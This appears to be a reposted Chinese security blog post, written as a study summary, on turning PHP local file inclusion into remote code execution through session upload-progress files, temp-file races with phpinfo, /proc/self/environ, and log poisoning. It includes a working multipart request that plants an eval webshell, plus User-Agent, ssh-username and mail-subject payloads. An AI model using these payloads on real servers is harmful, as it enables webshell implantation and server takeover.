内容简介:最近遇到了比较多的通过 LFI 提到 RCE 的漏洞利用方法。尤其是在遇到有 phpinfo 的情况下,这里做一个简单的总结与介绍。总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…条件:开启
最近遇到了比较多的通过 LFI 提到 RCE 的漏洞利用方法。尤其是在遇到有 phpinfo 的情况下,这里做一个简单的总结与介绍。
LFI
- 利用 session upload_progress
- 利用上传临时文件窗口期
- 利用环境变量
- 利用日志
总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…
session upload_progress
条件:开启 session.upload_progress.enabled
,session 文件路径已知,且其中内容部分可控。
当 session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时 POST 一个与 INI 中设置的 session.upload_progress.name
同名变量时,上传进度可以在 $_SESSION
中获得。 当 PHP 检测到这种POST请求时,它会在 $_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。
php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
我们可以构造一个上传界面
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <form action="http://zedd.cc/" method="POST" enctype="multipart/form-data"> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> </form> </body> </html>
发送以下的 HTTP 请求
POST /?file=/tmp/php/sess_a HTTP/1.1 Host: xxx.cc User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://zedd.cc/upload.php Content-Type: multipart/form-data; boundary=---------------------------695725616119701971467121808 Content-Length: 703 Connection: close Cookie: PHPSESSID=a Upgrade-Insecure-Requests: 1 -----------------------------695725616119701971467121808 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?> -----------------------------695725616119701971467121808 Content-Disposition: form-data; name="file1"; filename="1.txt" Content-Type: text/php 1 -----------------------------695725616119701971467121808 Content-Disposition: form-data; name="file2"; filename="2.txt" Content-Type: application/octet-stream 1 -----------------------------695725616119701971467121808 Content-Disposition: form-data; name="submit" Submit -----------------------------695725616119701971467121808--
但是因为 PHP session 会话机制的关系,仅仅一次包含得到的 sess_a
文件为空,所以我们需要竞争包含,使用 burp intruder 等形式都可以。
大概30次可以成功7次左右,可以看到包含文件回显,但是看不到具体的文件内容,因为有部分 php 代码被解析了,所以我们可以使用 tail -f
监测 sess_a
的文件变化查看文件内容,可以看到内容如下:
upload_progress_<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>|a:5:{s:10:"start_time";i:1559816745;s:14:"content_length";i:690;s:15:"bytes_processed";i:690;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1559816745;s:15:"bytes_processed";i:0;}}}
可以发现其中有 php 代码,所以当我们使用 include
包含该文件的时候会执行该文件当中的 php 代码,让其执行。
tmp
条件:tmp 文件路径已知
php中上传文件,会创建临时文件。一般默认 php tmp 目录在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
如果存在 phpinfo()
界面即可配合 phpinfo()
界面的回显来利用,例如向 phpinfo()
界面上传一个文件,可以得到文件名的回显,再利用一些方法阻塞服务器的操作就可以进行包含了
具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
可以参考脚本 exp.py
environ
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
在某些环境中,如果存在读取 /proc/self/environ
的权限,可以检查是否环境变量存在有与 HTTP 环境有关的变量,例如 HTTP_USER_AGENT
等等
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?>
类似地, /proc/self/fd/id
(或它的符号链接: /dev/fd
)可以与 HTTP Referer 字段结合使用,以通过 apache2 将 payload 注入打开的错误日志中。 但是要确定当前进程的文件描述符。
log
access log
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web服务器会将请求写入到日志文件中,比如说 apache 。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
ssh log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
用ssh连接:
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
之后会提示输入密码等等,随便输入。
然后在 remotehost 的 ssh log 中即可写入php代码
mail log
如果服务器存在邮件服务,则可以通过邮件发送 payload ,并在 /var/log/<user>
下包含相关日志(每个其他用户都有自己的文件)。
mail -s "<?=phpinfo();?>" www-data@victim.com < /dev/null --- GET vulnerable.php?filename=../../../var/log/www-data HTTP/1.1
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
人工智能产品经理——AI时代PM修炼手册
张竞宇 / 电子工业出版社 / 2018-6 / 59
随着人工智能热潮的兴起,企业对人工智能领域产品经理的人才需求也开始井喷,人工智能产品经理成为顺应时代潮流的重要人力资源。实际上,人工智能确实给现有的产品和服务带来了全方位的升级,这也给产品经理从业人员提出了更高的要求,是关注人工智能产品的产品经理们面临的一次关键转型考验。 《人工智能产品经理——AI时代PM修炼手册》从知识体系、能力模型、沟通技巧等方面帮助大家系统地梳理了人工智能产品经理所必......一起来看看 《人工智能产品经理——AI时代PM修炼手册》 这本书的介绍吧!